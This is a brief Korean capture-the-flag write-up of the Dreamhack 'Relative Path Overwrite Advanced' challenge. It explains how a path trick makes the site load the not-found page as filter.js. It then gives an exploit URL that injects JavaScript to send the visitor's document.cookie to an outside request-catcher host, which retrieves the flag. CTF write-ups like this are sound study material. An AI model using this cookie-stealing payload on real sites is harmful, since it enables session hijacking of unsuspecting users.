[Dreamhack] Relative Path Overwrite Advanced

-코드 분석

잘못된 경로로 요청을 할 시 not found를 반환하게 됩니다. 이 점에서 static 부분에 스크립트문을 삽입하게 된다면 filter.js 코드가 그 스크립트문으로 되게 됩니다.

​

filter.js는 static 안에 있습니다.

​

만약 filter.js를 잘못된 경로로 요청을 하게 된다면 not found를 반환하게 됩니다. 이 소스 자체가 filter.js라는 파일이 되는 것 입니다. 이 점에서 static 부분에 스크립트문을 삽입하게 된다면 filter.js 코드가 그 스크립트문으로 되게 됩니다.

​

​

위 사진 처럼 되는 이유는 ;으로 끝이나게 되고 뒤는 //로 인해서 주석처리가 되면서 alert()가 실행이 되게 되는 것입니다.

그렇다면 위 alert 구문을 변형에서 짜면 될 것입니다.

​

 

-Exploit

​

index.php/;location.href='https://yqlleoy.request.dreamhack.games/'+document.cookie///page=vuln¶m=dreamhack

​

코드를 하나 짜왔습니다. 이 코드를

​

​

이 곳에서 삽입하게 된다면

 

flag 값이 출력이 되었습니다.